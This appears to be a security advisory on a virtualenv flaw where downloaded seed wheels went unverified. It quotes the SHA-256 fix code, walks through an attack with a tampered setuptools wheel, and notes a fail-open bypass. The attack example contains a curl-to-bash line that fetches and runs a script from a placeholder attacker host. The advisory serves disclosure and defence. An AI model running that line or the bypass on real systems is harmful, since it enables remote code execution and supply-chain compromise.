CVE-2026-102930: Remote Code Execution via Unverified Dynamic Wheel Downloads in virtualenv

The Python library virtualenv is widely used to build isolated environments. To accomplish isolation, the library installs essential seed packages (including pip, setuptools, and wheel) during environment creation.

By default, virtualenv utilizes internal pre-packaged wheels or retrieves updated wheels over the network. When running with the --download option, or during automatic background update cycles, the system retrieves files using a subprocess execution of pip download.

Prior to version 21.7.12, the download_wheel() function did not verify the cryptographic integrity of these retrieved packages. This exposes an attack vector to Machine-in-the-Middle (MitM) interceptors, compromised package mirrors, or DNS manipulation.

The root cause of this flaw is classified as CWE-494: Download of Code Without Integrity Check. The execution logic relies entirely on the underlying transport layer and index configuration of pip to ensure package authenticity.

When download_wheel() completes, the received .whl files are stored directly inside the application-data cache (typically located at ~/.local/share/virtualenv/wheel/). Because there was no validation against an authoritative SHA-256 digest, the system immediately accepted any file delivered by the host.

This behavior is highly exploitable. Once a compromised package is written to the cache, it is unpacked and executed on subsequent invocations of virtualenv. This results in silent execution of code within the victim's developmental, CI/CD, or production environment.

The vulnerability was fixed in version 21.7.12 by introducing strict hash verification against PyPI's JSON API metadata. The patch defines _uses_default_index to determine if a custom index is declared in environment variables:

_CUSTOM_INDEX_ENV_VARS: Final[tuple[str, ...]] = ("PIP_INDEX_URL", "PIP_EXTRA_INDEX_URL", "PIP_INDEX")
 
def _uses_default_index(env: dict[str, str]) -> bool:
    return not any(env.get(var) for var in _CUSTOM_INDEX_ENV_VARS)

If the default index is active, the download process invokes verify_wheel_digest(). This helper compares the file's SHA-256 digest to the authoritative metadata retrieved from PyPI:

def verify_wheel_digest(wheel: Wheel) -> None:
    entry = _pypi_release_entry_for_wheel(wheel)
    if entry is None:
        LOGGER.debug("could not verify %s against PyPI: no matching release record", wheel.name)
        return
    digests = entry.get("digests")
    expected = digests.get("sha256") if isinstance(digests, dict) else None
    if not isinstance(expected, str):
        return
    actual = hashlib.sha256(wheel.path.read_bytes()).hexdigest()
    if actual != expected:
        msg = f"downloaded wheel {wheel.name} has sha256 {actual}, but PyPI reports {expected}"
        raise RuntimeError(msg)

Any mismatch triggers a fatal error, halting environment creation and preventing the installation of the corrupt dependency.

To exploit this flaw, an attacker must capture or proxy the victim's connections to PyPI or trick the client into using an untrusted local mirror. The attacker constructs a modified seed archive (e.g., setuptools-75.1.0-py3-none-any.whl) containing a malicious module payload inside setuptools/__init__.py:

# Injected payload
import subprocess
subprocess.Popen(["/bin/bash", "-c", "curl -s http://attacker.local/shell.sh | bash"])

When the victim invokes virtualenv --download venv_name, the download logic fetches the modified package. Because no integrity verification is performed, the archive is written directly to the cache. The payload executes silently when the virtual environment is built or whenever the target module is imported.

Successful exploitation leads to absolute compromise of the executing environment. Because virtualenv is widely used within automated build systems, code-analysis setups, and CI/CD networks, this vulnerability acts as an entry point for supply chain manipulation.

The payload inherits the permissions of the calling user. In multi-tenant infrastructure, this can facilitate privilege escalation or unauthorized read access to database secrets and credentials. Compromising the integrity of local python dependencies may allow attackers to inject secondary backdoors directly into application deployment pipelines.

The primary recommendation is upgrading virtualenv to version 21.7.12 or later immediately. Users should restrict access to dynamic internet package downloads where possible.

Several design limitations in the patch should be recognized. The verification logic fails-open if PyPI's API is completely offline. An attacker who selectively blocks connection requests to PyPI's JSON API while permitting raw TCP package downloads can trigger a fall-back scenario, bypassing the validation altogether.

Furthermore, the patch does not inspect system-level pip.conf configuration files. If an alternative repository is configured globally, the verification system may still check the local packages against official PyPI records. This mismatch will fail the installation, causing a persistent local Denial of Service (DoS).